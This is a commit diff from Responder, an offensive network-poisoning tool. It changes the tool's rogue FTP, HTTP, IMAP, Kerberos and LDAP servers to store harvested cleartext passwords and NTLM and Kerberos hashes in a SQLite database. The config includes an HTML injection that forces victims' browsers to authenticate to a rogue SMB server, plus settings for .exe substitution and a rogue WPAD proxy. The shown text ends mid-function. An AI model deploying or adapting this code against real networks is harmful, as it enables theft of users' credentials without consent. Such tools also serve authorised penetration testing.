mirror of
https://github.com/lgandx/Responder.git
synced 2025-07-10 23:32:45 -07:00
Further improvement and fixes.
This commit is contained in:
parent
3c00567fa6
commit
bc06818ed1
18 changed files with 416 additions and 142 deletions
1
.gitignore
vendored
1
.gitignore
vendored
|
@ -59,6 +59,7 @@ docs/_build/
|
||||||
target/
|
target/
|
||||||
|
|
||||||
# Responder logs
|
# Responder logs
|
||||||
|
*.db
|
||||||
*.txt
|
*.txt
|
||||||
*.log
|
*.log
|
||||||
logs/*
|
logs/*
|
||||||
|
|
|
@ -16,6 +16,10 @@ LDAP = On
|
||||||
; Custom challenge
|
; Custom challenge
|
||||||
Challenge = 1122334455667788
|
Challenge = 1122334455667788
|
||||||
|
|
||||||
|
; SQLite Database file
|
||||||
|
; Delete this file to re-capture previously captured hashes
|
||||||
|
Database = Responder.db
|
||||||
|
|
||||||
; Default log file
|
; Default log file
|
||||||
SessionLog = logs/Responder-Session.log
|
SessionLog = logs/Responder-Session.log
|
||||||
|
|
||||||
|
@ -50,7 +54,7 @@ Serve-Always = Off
|
||||||
; Set to On to replace any requested .exe with the custom EXE
|
; Set to On to replace any requested .exe with the custom EXE
|
||||||
Serve-Exe = On
|
Serve-Exe = On
|
||||||
|
|
||||||
; Set to on to serve the custom HTML if the URL does not contain .exe
|
; Set to On to serve the custom HTML if the URL does not contain .exe
|
||||||
; Set to Off to inject the 'HTMLToInject' in web pages instead
|
; Set to Off to inject the 'HTMLToInject' in web pages instead
|
||||||
Serve-Html = Off
|
Serve-Html = Off
|
||||||
|
|
||||||
|
@ -67,9 +71,9 @@ ExeDownloadName = ProxyClient.exe
|
||||||
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
|
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
|
||||||
|
|
||||||
; HTML answer to inject in HTTP responses (before </body> tag).
|
; HTML answer to inject in HTTP responses (before </body> tag).
|
||||||
|
; Set to an empty string to disable.
|
||||||
; In this example, we redirect make users' browsers issue a request to our rogue SMB server.
|
; In this example, we redirect make users' browsers issue a request to our rogue SMB server.
|
||||||
HTMLToInject = <img src='file:\\\\\RespProxySrv\ssed\seyad.ico' alt='Loading' height='1' width='1'>
|
HTMLToInject = <img src='file://RespProxySrv/pictures/logo.jpg' alt='Loading' height='1' width='1'>
|
||||||
|
|
||||||
|
|
||||||
[HTTPS Server]
|
[HTTPS Server]
|
||||||
|
|
||||||
|
|
|
@ -37,6 +37,7 @@ parser.add_option('-w','--wpad', action="store_true", help="Start the
|
||||||
parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
|
parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
|
||||||
parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
|
parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
|
||||||
parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
|
parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
|
||||||
|
parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
|
||||||
options, args = parser.parse_args()
|
options, args = parser.parse_args()
|
||||||
|
|
||||||
if not os.geteuid() == 0:
|
if not os.geteuid() == 0:
|
||||||
|
|
|
@ -252,8 +252,10 @@ class IIS_Basic_401_Ans(Packet):
|
||||||
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
|
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
|
||||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||||
("Type", "Content-Type: text/html\r\n"),
|
("Type", "Content-Type: text/html\r\n"),
|
||||||
("WWW-Auth", "WWW-Authenticate: Basic realm=''\r\n"),
|
("WWW-Auth", "WWW-Authenticate: Basic realm=\"Authentication Required\"\r\n"),
|
||||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||||
|
("AllowOrigin", "Access-Control-Allow-Origin: *\r\n"),
|
||||||
|
("AllowCreds", "Access-Control-Allow-Credentials: true\r\n"),
|
||||||
("Len", "Content-Length: 0\r\n"),
|
("Len", "Content-Length: 0\r\n"),
|
||||||
("CRLF", "\r\n"),
|
("CRLF", "\r\n"),
|
||||||
])
|
])
|
||||||
|
@ -262,7 +264,7 @@ class IIS_Basic_401_Ans(Packet):
|
||||||
class WPADScript(Packet):
|
class WPADScript(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
("Code", "HTTP/1.1 200 OK\r\n"),
|
("Code", "HTTP/1.1 200 OK\r\n"),
|
||||||
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
|
("ServerTlype", "Server: Microsoft-IIS/6.0\r\n"),
|
||||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||||
("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"),
|
("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"),
|
||||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||||
|
|
|
@ -29,8 +29,6 @@ class FTP(BaseRequestHandler):
|
||||||
|
|
||||||
if data[0:4] == "USER":
|
if data[0:4] == "USER":
|
||||||
User = data[5:].strip()
|
User = data[5:].strip()
|
||||||
print text("[FTP] Client : %s" % color(self.client_address[0], 3))
|
|
||||||
print text("[FTP] Username : %s" % color(User, 3))
|
|
||||||
|
|
||||||
Packet = FTPPacket(Code="331",Message="User name okay, need password.")
|
Packet = FTPPacket(Code="331",Message="User name okay, need password.")
|
||||||
self.request.send(str(Packet))
|
self.request.send(str(Packet))
|
||||||
|
@ -38,13 +36,24 @@ class FTP(BaseRequestHandler):
|
||||||
|
|
||||||
if data[0:4] == "PASS":
|
if data[0:4] == "PASS":
|
||||||
Pass = data[5:].strip()
|
Pass = data[5:].strip()
|
||||||
print text("[FTP] Password : %s" % color(Pass, 3))
|
|
||||||
|
|
||||||
Packet = FTPPacket(Code="530",Message="User not logged in.")
|
Packet = FTPPacket(Code="530",Message="User not logged in.")
|
||||||
self.request.send(str(Packet))
|
self.request.send(str(Packet))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
WriteData(settings.Config.FTPLog % self.client_address[0], User+":"+Pass, User+":"+Pass)
|
SaveToDb({
|
||||||
|
'module': 'FTP',
|
||||||
|
'type': 'Cleartext',
|
||||||
|
'client': self.client_address[0],
|
||||||
|
'user': User,
|
||||||
|
'cleartext': Pass,
|
||||||
|
'fullhash': User+':'+Pass
|
||||||
|
})
|
||||||
|
|
||||||
|
#print text("[FTP] Client : %s" % color(self.client_address[0], 3))
|
||||||
|
#print text("[FTP] Username : %s" % color(User, 3))
|
||||||
|
#print text("[FTP] Password : %s" % color(Pass, 3))
|
||||||
|
#WriteData(settings.Config.FTPLog % self.client_address[0], User+":"+Pass, User+":"+Pass)
|
||||||
|
|
||||||
else :
|
else :
|
||||||
Packet = FTPPacket(Code="502",Message="Command not implemented.")
|
Packet = FTPPacket(Code="502",Message="Command not implemented.")
|
||||||
|
|
|
@ -45,14 +45,25 @@ def ParseHTTPHash(data, client):
|
||||||
HostNameLen = struct.unpack('<H',data[46:48])[0]
|
HostNameLen = struct.unpack('<H',data[46:48])[0]
|
||||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||||
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||||
|
|
||||||
print text("[HTTP] NTLMv1 Client : %s" % client)
|
|
||||||
print text("[HTTP] NTLMv1 Hostname : %s" % HostName)
|
|
||||||
print text("[HTTP] NTLMv1 User : %s" % User)
|
|
||||||
print text("[HTTP] NTLMv1 Hash : %s" % LMHash+":"+NTHash)
|
|
||||||
|
|
||||||
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, settings.Config.NumChal)
|
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, settings.Config.NumChal)
|
||||||
WriteData(settings.Config.HTTPNTLMv1Log % client, WriteHash, User+"::"+HostName)
|
|
||||||
|
SaveToDb({
|
||||||
|
'module': 'HTTP',
|
||||||
|
'type': 'NTLMv1',
|
||||||
|
'client': client,
|
||||||
|
'host': HostName,
|
||||||
|
'user': User,
|
||||||
|
'hash': LMHash+":"+NTHash,
|
||||||
|
'fullhash': WriteHash,
|
||||||
|
})
|
||||||
|
|
||||||
|
#print text("[HTTP] NTLMv1 Client : %s" % client)
|
||||||
|
#print text("[HTTP] NTLMv1 Hostname : %s" % HostName)
|
||||||
|
#print text("[HTTP] NTLMv1 User : %s" % User)
|
||||||
|
#print text("[HTTP] NTLMv1 Hash : %s" % LMHash+":"+NTHash)
|
||||||
|
#
|
||||||
|
#WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, settings.Config.NumChal)
|
||||||
|
#WriteData(settings.Config.HTTPNTLMv1Log % client, WriteHash, User+"::"+HostName)
|
||||||
|
|
||||||
if NthashLen > 24:
|
if NthashLen > 24:
|
||||||
NthashLen = 64
|
NthashLen = 64
|
||||||
|
@ -62,31 +73,44 @@ def ParseHTTPHash(data, client):
|
||||||
HostNameLen = struct.unpack('<H',data[44:46])[0]
|
HostNameLen = struct.unpack('<H',data[44:46])[0]
|
||||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||||
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||||
|
|
||||||
print text("[HTTP] NTLMv2 Client : %s" % client)
|
|
||||||
print text("[HTTP] NTLMv2 Hostname : %s" % HostName)
|
|
||||||
print text("[HTTP] NTLMv2 User : %s" % Domain+"\\"+User)
|
|
||||||
print text("[HTTP] NTLMv2 Hash : %s" % NTHash[:32]+":"+NTHash[32:])
|
|
||||||
|
|
||||||
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
|
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
|
||||||
WriteData(settings.Config.HTTPNTLMv2Log % client, WriteHash, User+"::"+HostName)
|
|
||||||
|
|
||||||
def GrabCookie(data,host):
|
SaveToDb({
|
||||||
|
'module': 'HTTP',
|
||||||
|
'type': 'NTLMv2',
|
||||||
|
'client': client,
|
||||||
|
'host': HostName,
|
||||||
|
'user': Domain+'\\'+User,
|
||||||
|
'hash': NTHash[:32]+":"+NTHash[32:],
|
||||||
|
'fullhash': WriteHash,
|
||||||
|
})
|
||||||
|
|
||||||
|
#print text("[HTTP] NTLMv2 Client : %s" % client)
|
||||||
|
#print text("[HTTP] NTLMv2 Hostname : %s" % HostName)
|
||||||
|
#print text("[HTTP] NTLMv2 User : %s" % Domain+"\\"+User)
|
||||||
|
#print text("[HTTP] NTLMv2 Hash : %s" % NTHash[:32]+":"+NTHash[32:])
|
||||||
|
#
|
||||||
|
#WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
|
||||||
|
#WriteData(settings.Config.HTTPNTLMv2Log % client, WriteHash, User+"::"+HostName)
|
||||||
|
|
||||||
|
def GrabCookie(data, host):
|
||||||
Cookie = re.search('(Cookie:*.\=*)[^\r\n]*', data)
|
Cookie = re.search('(Cookie:*.\=*)[^\r\n]*', data)
|
||||||
|
|
||||||
if Cookie:
|
if Cookie:
|
||||||
Cookie = Cookie.group(0).replace('Cookie: ', '')
|
Cookie = Cookie.group(0).replace('Cookie: ', '')
|
||||||
|
if len(Cookie) > 1 and settings.Config.Verbose:
|
||||||
print text("[HTTP] Cookie : %s " % Cookie)
|
print text("[HTTP] Cookie : %s " % Cookie)
|
||||||
return Cookie
|
return Cookie
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def GrabHost(data,host):
|
def GrabHost(data, host):
|
||||||
Host = re.search('(Host:*.\=*)[^\r\n]*', data)
|
Host = re.search('(Host:*.\=*)[^\r\n]*', data)
|
||||||
|
|
||||||
if Host:
|
if Host:
|
||||||
Host = Host.group(0).replace('Host: ', '')
|
Host = Host.group(0).replace('Host: ', '')
|
||||||
print text("[HTTP] Host : %s " % Host)
|
if settings.Config.Verbose:
|
||||||
|
print text("[HTTP] Host : %s " % color(Host, 3))
|
||||||
return Host
|
return Host
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
|
@ -123,11 +147,11 @@ def GrabURL(data, host):
|
||||||
POST = re.findall('(?<=POST )[^HTTP]*', data)
|
POST = re.findall('(?<=POST )[^HTTP]*', data)
|
||||||
POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data)
|
POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data)
|
||||||
|
|
||||||
if GET:
|
if GET and settings.Config.Verbose:
|
||||||
print text("[HTTP] GET request from: %-15s URL: %s" % (host, ''.join(GET)))
|
print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5)))
|
||||||
|
|
||||||
if POST:
|
if POST and settings.Config.Verbose:
|
||||||
print text("[HTTP] POST request from: %-15s URL: %s" % (host, ''.join(POST)))
|
print text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5)))
|
||||||
if len(''.join(POSTDATA)) > 2:
|
if len(''.join(POSTDATA)) > 2:
|
||||||
print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())
|
print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())
|
||||||
|
|
||||||
|
@ -182,12 +206,21 @@ def PacketSequence(data, client):
|
||||||
GrabHost(data, client)
|
GrabHost(data, client)
|
||||||
GrabCookie(data, client)
|
GrabCookie(data, client)
|
||||||
|
|
||||||
print text("[HTTP] (Basic) Client : %s" % client)
|
SaveToDb({
|
||||||
print text("[HTTP] (Basic) Username : %s" % ClearText_Auth.split(':')[0])
|
'module': 'HTTP',
|
||||||
print text("[HTTP] (Basic) Password : %s" % ClearText_Auth.split(':')[1])
|
'type': 'Basic',
|
||||||
WriteData(settings.Config.HTTPBasicLog % client, ClearText_Auth, ClearText_Auth)
|
'client': client,
|
||||||
|
'user': ClearText_Auth.split(':')[0],
|
||||||
|
'cleartext': ClearText_Auth.split(':')[1],
|
||||||
|
})
|
||||||
|
|
||||||
|
#print text("[HTTP] (Basic) Client : %s" % color(client, 3))
|
||||||
|
#print text("[HTTP] (Basic) Username : %s" % color(ClearText_Auth.split(':')[0], 3))
|
||||||
|
#print text("[HTTP] (Basic) Password : %s" % color(ClearText_Auth.split(':')[1], 3))
|
||||||
|
#WriteData(settings.Config.HTTPBasicLog % client, ClearText_Auth, ClearText_Auth)
|
||||||
|
|
||||||
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
||||||
|
if settings.Config.Verbose:
|
||||||
print text("[HTTP] WPAD (auth) file sent to %s" % client)
|
print text("[HTTP] WPAD (auth) file sent to %s" % client)
|
||||||
return WPAD_Custom
|
return WPAD_Custom
|
||||||
|
|
||||||
|
@ -199,10 +232,12 @@ def PacketSequence(data, client):
|
||||||
else:
|
else:
|
||||||
if settings.Config.Basic == True:
|
if settings.Config.Basic == True:
|
||||||
Response = IIS_Basic_401_Ans()
|
Response = IIS_Basic_401_Ans()
|
||||||
|
if settings.Config.Verbose:
|
||||||
print text("[HTTP] Sending BASIC authentication request to %s" % client)
|
print text("[HTTP] Sending BASIC authentication request to %s" % client)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
Response = IIS_Auth_401_Ans()
|
Response = IIS_Auth_401_Ans()
|
||||||
|
if settings.Config.Verbose:
|
||||||
print text("[HTTP] Sending NTLM authentication request to %s" % client)
|
print text("[HTTP] Sending NTLM authentication request to %s" % client)
|
||||||
|
|
||||||
return str(Response)
|
return str(Response)
|
||||||
|
@ -219,6 +254,7 @@ class HTTP(BaseRequestHandler):
|
||||||
|
|
||||||
if Buffer and settings.Config.Force_WPAD_Auth == False:
|
if Buffer and settings.Config.Force_WPAD_Auth == False:
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
|
if settings.Config.Verbose:
|
||||||
print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
|
print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
|
||||||
|
|
||||||
else:
|
else:
|
||||||
|
@ -243,6 +279,7 @@ class HTTPS(StreamRequestHandler):
|
||||||
|
|
||||||
if Buffer and settings.Config.Force_WPAD_Auth == False:
|
if Buffer and settings.Config.Force_WPAD_Auth == False:
|
||||||
self.exchange.send(Buffer)
|
self.exchange.send(Buffer)
|
||||||
|
if settings.Config.Verbose:
|
||||||
print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
|
print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
|
||||||
|
|
||||||
else:
|
else:
|
||||||
|
|
|
@ -24,6 +24,8 @@ import BaseHTTPServer
|
||||||
from servers.HTTP import RespondWithFile
|
from servers.HTTP import RespondWithFile
|
||||||
from utils import *
|
from utils import *
|
||||||
|
|
||||||
|
IgnoredDomains = [ 'crl.comodoca.com', 'crl.usertrust.com', 'ocsp.comodoca.com', 'ocsp.usertrust.com', 'www.download.windowsupdate.com', 'crl.microsoft.com' ]
|
||||||
|
|
||||||
def InjectData(data, client, req_uri):
|
def InjectData(data, client, req_uri):
|
||||||
|
|
||||||
# Serve the .exe if needed
|
# Serve the .exe if needed
|
||||||
|
@ -57,7 +59,9 @@ def InjectData(data, client, req_uri):
|
||||||
Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers))
|
Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers))
|
||||||
HasBody = re.findall('(<body[^>]*>)', Content)
|
HasBody = re.findall('(<body[^>]*>)', Content)
|
||||||
|
|
||||||
if HasBody:
|
if HasBody and len(settings.Config.HtmlToInject) > 2:
|
||||||
|
|
||||||
|
if settings.Config.Verbose:
|
||||||
print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1))
|
print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1))
|
||||||
|
|
||||||
Content = Content.replace(HasBody[0], '%s\n%s' % (HasBody[0], settings.Config.HtmlToInject))
|
Content = Content.replace(HasBody[0], '%s\n%s' % (HasBody[0], settings.Config.HtmlToInject))
|
||||||
|
@ -68,8 +72,9 @@ def InjectData(data, client, req_uri):
|
||||||
|
|
||||||
data = Headers +'\r\n'+ Content
|
data = Headers +'\r\n'+ Content
|
||||||
|
|
||||||
#else:
|
else:
|
||||||
# print text("[PROXY] Returning unmodified HTTP response")
|
if settings.Config.Verbose:
|
||||||
|
print text("[PROXY] Returning unmodified HTTP response")
|
||||||
|
|
||||||
return data
|
return data
|
||||||
|
|
||||||
|
@ -204,6 +209,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||||
|
|
||||||
def handle(self):
|
def handle(self):
|
||||||
(ip, port) = self.client_address
|
(ip, port) = self.client_address
|
||||||
|
if settings.Config.Verbose:
|
||||||
print text("[PROXY] Received connection from %s" % self.client_address[0])
|
print text("[PROXY] Received connection from %s" % self.client_address[0])
|
||||||
self.__base_handle()
|
self.__base_handle()
|
||||||
|
|
||||||
|
@ -255,6 +261,10 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||||
def do_GET(self):
|
def do_GET(self):
|
||||||
(scm, netloc, path, params, query, fragment) = urlparse.urlparse(self.path, 'http')
|
(scm, netloc, path, params, query, fragment) = urlparse.urlparse(self.path, 'http')
|
||||||
|
|
||||||
|
if netloc in IgnoredDomains:
|
||||||
|
#self.send_error(200, "OK")
|
||||||
|
return
|
||||||
|
|
||||||
if scm not in ('http') or fragment or not netloc:
|
if scm not in ('http') or fragment or not netloc:
|
||||||
self.send_error(400, "bad url %s" % self.path)
|
self.send_error(400, "bad url %s" % self.path)
|
||||||
return
|
return
|
||||||
|
@ -272,15 +282,18 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||||
|
|
||||||
Cookie = self.headers['Cookie'] if "Cookie" in self.headers else ''
|
Cookie = self.headers['Cookie'] if "Cookie" in self.headers else ''
|
||||||
|
|
||||||
|
if settings.Config.Verbose:
|
||||||
print text("[PROXY] Client : %s" % color(self.client_address[0], 3))
|
print text("[PROXY] Client : %s" % color(self.client_address[0], 3))
|
||||||
print text("[PROXY] Requested URL : %s" % color(self.path, 3))
|
print text("[PROXY] Requested URL : %s" % color(self.path, 3))
|
||||||
print text("[PROXY] Cookie : %s" % Cookie)
|
print text("[PROXY] Cookie : %s" % Cookie)
|
||||||
|
|
||||||
self.headers['Connection'] = 'close'
|
self.headers['Connection'] = 'close'
|
||||||
del self.headers['Proxy-Connection']
|
del self.headers['Proxy-Connection']
|
||||||
|
del self.headers['If-Range']
|
||||||
|
del self.headers['Range']
|
||||||
|
|
||||||
for key_val in self.headers.items():
|
for k, v in self.headers.items():
|
||||||
soc.send("%s: %s\r\n" % key_val)
|
soc.send("%s: %s\r\n" % (k.title(), v))
|
||||||
soc.send("\r\n")
|
soc.send("\r\n")
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
@ -315,7 +328,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||||
out = soc
|
out = soc
|
||||||
data = i.recv(4096)
|
data = i.recv(4096)
|
||||||
|
|
||||||
if self.command == "POST":
|
if self.command == "POST" and settings.Config.Verbose:
|
||||||
print text("[PROXY] POST Data : %s" % data)
|
print text("[PROXY] POST Data : %s" % data)
|
||||||
if data:
|
if data:
|
||||||
try:
|
try:
|
||||||
|
|
|
@ -38,10 +38,19 @@ class IMAP(BaseRequestHandler):
|
||||||
if data[5:10] == "LOGIN":
|
if data[5:10] == "LOGIN":
|
||||||
Credentials = data[10:].strip()
|
Credentials = data[10:].strip()
|
||||||
|
|
||||||
print text("[IMAP] Address : %s" % color(self.client_address[0], 3, 0))
|
SaveToDb({
|
||||||
print text("[IMAP] Username : %s" % color(Credentials[0], 3, 0))
|
'module': 'IMAP',
|
||||||
print text("[IMAP] Password : %s" % color(Credentials[1], 3, 0))
|
'type': 'Cleartext',
|
||||||
WriteData(settings.Config.IMAPLog % self.client_address[0], Credentials, Credentials)
|
'client': self.client_address[0],
|
||||||
|
'user': Credentials[0],
|
||||||
|
'cleartext': Credentials[1],
|
||||||
|
'fullhash': Credentials[0]+":"+Credentials[1],
|
||||||
|
})
|
||||||
|
|
||||||
|
#print text("[IMAP] Address : %s" % color(self.client_address[0], 3, 0))
|
||||||
|
#print text("[IMAP] Username : %s" % color(Credentials[0], 3, 0))
|
||||||
|
#print text("[IMAP] Password : %s" % color(Credentials[1], 3, 0))
|
||||||
|
#WriteData(settings.Config.IMAPLog % self.client_address[0], Credentials, Credentials)
|
||||||
|
|
||||||
## FIXME: Close connection properly
|
## FIXME: Close connection properly
|
||||||
## self.request.send(str(ditchthisconnection()))
|
## self.request.send(str(ditchthisconnection()))
|
||||||
|
|
|
@ -122,9 +122,20 @@ class KerbTCP(BaseRequestHandler):
|
||||||
KerbHash = ParseMSKerbv5TCP(data)
|
KerbHash = ParseMSKerbv5TCP(data)
|
||||||
|
|
||||||
if KerbHash:
|
if KerbHash:
|
||||||
print text("[KERBEROS] Address :" % self.client_address[0])
|
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
|
||||||
print text("[KERBEROS] MSKerbv5 Hash :" % KerbHash)
|
|
||||||
WriteData(settings.Config.KerberosLog % self.client_address[0], KerbHash, KerbHash)
|
SaveToDb({
|
||||||
|
'module': 'KERB',
|
||||||
|
'type': 'MSKerbv5',
|
||||||
|
'client': self.client_address[0],
|
||||||
|
'user': domain+'\\'+name,
|
||||||
|
'hash': h,
|
||||||
|
'fullhash': KerbHash,
|
||||||
|
})
|
||||||
|
|
||||||
|
#print text("[KERBEROS] Address :" % self.client_address[0])
|
||||||
|
#print text("[KERBEROS] MSKerbv5 Hash :" % KerbHash)
|
||||||
|
#WriteData(settings.Config.KerberosLog % self.client_address[0], KerbHash, KerbHash)
|
||||||
|
|
||||||
except Exception:
|
except Exception:
|
||||||
raise
|
raise
|
||||||
|
@ -137,9 +148,20 @@ class KerbUDP(BaseRequestHandler):
|
||||||
KerbHash = ParseMSKerbv5UDP(data)
|
KerbHash = ParseMSKerbv5UDP(data)
|
||||||
|
|
||||||
if KerbHash:
|
if KerbHash:
|
||||||
print text("[KERBEROS] Address :" % self.client_address[0])
|
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
|
||||||
print text("[KERBEROS] MSKerbv5 Hash :" % KerbHash)
|
|
||||||
WriteData(settings.Config.KerberosLog % self.client_address[0], KerbHash, KerbHash)
|
SaveToDb({
|
||||||
|
'module': 'KERB',
|
||||||
|
'type': 'MSKerbv5',
|
||||||
|
'client': self.client_address[0],
|
||||||
|
'user': domain+'\\'+name,
|
||||||
|
'hash': h,
|
||||||
|
'fullhash': KerbHash,
|
||||||
|
})
|
||||||
|
|
||||||
|
#print text("[KERBEROS] Address :" % self.client_address[0])
|
||||||
|
#print text("[KERBEROS] MSKerbv5 Hash :" % KerbHash)
|
||||||
|
#WriteData(settings.Config.KerberosLog % self.client_address[0], KerbHash, KerbHash)
|
||||||
|
|
||||||
except Exception:
|
except Exception:
|
||||||
raise
|
raise
|
||||||
|
|
|
@ -54,14 +54,24 @@ def ParseLDAPHash(data, client):
|
||||||
UserOffset = struct.unpack('<H',data[82:84])[0]
|
UserOffset = struct.unpack('<H',data[82:84])[0]
|
||||||
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||||
|
|
||||||
print text("[LDAP] NTLMv1 Address : %s" % client)
|
|
||||||
print text("[LDAP] NTLMv1 Username : %s\\%s" % (Domain, User))
|
|
||||||
print text("[LDAP] NTLMv1 Hash : %s" % NtHash)
|
|
||||||
|
|
||||||
WriteHash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+settings.Config.NumChal
|
WriteHash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+settings.Config.NumChal
|
||||||
WriteData(settings.Config.LDAPNTLMv1Log % client, WriteHash, User+"::"+Domain)
|
|
||||||
|
|
||||||
if LMhashLen < 2 :
|
SaveToDb({
|
||||||
|
'module': 'LDAP',
|
||||||
|
'type': 'NTLMv1',
|
||||||
|
'client': client,
|
||||||
|
'user': Domain+'\\'+User,
|
||||||
|
'hash': NtHash,
|
||||||
|
'fullhash': WriteHash,
|
||||||
|
})
|
||||||
|
|
||||||
|
#print text("[LDAP] NTLMv1 Address : %s" % client)
|
||||||
|
#print text("[LDAP] NTLMv1 Username : %s\\%s" % (Domain, User))
|
||||||
|
#print text("[LDAP] NTLMv1 Hash : %s" % NtHash)
|
||||||
|
#WriteHash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+settings.Config.NumChal
|
||||||
|
#WriteData(settings.Config.LDAPNTLMv1Log % client, WriteHash, User+"::"+Domain)
|
||||||
|
|
||||||
|
if LMhashLen < 2 and settings.Config.Verbose:
|
||||||
print text("[LDAP] Ignoring anonymous NTLM authentication")
|
print text("[LDAP] Ignoring anonymous NTLM authentication")
|
||||||
|
|
||||||
def ParseNTLM(data,client):
|
def ParseNTLM(data,client):
|
||||||
|
@ -96,11 +106,20 @@ def ParseLDAPPacket(data, client):
|
||||||
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
|
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
|
||||||
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
|
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
|
||||||
|
|
||||||
print text("[LDAP] Client : %s" % color(client, 3, 0))
|
SaveToDb({
|
||||||
print text("[LDAP] Username : %s" % color(UserDomain, 3, 0))
|
'module': 'LDAP',
|
||||||
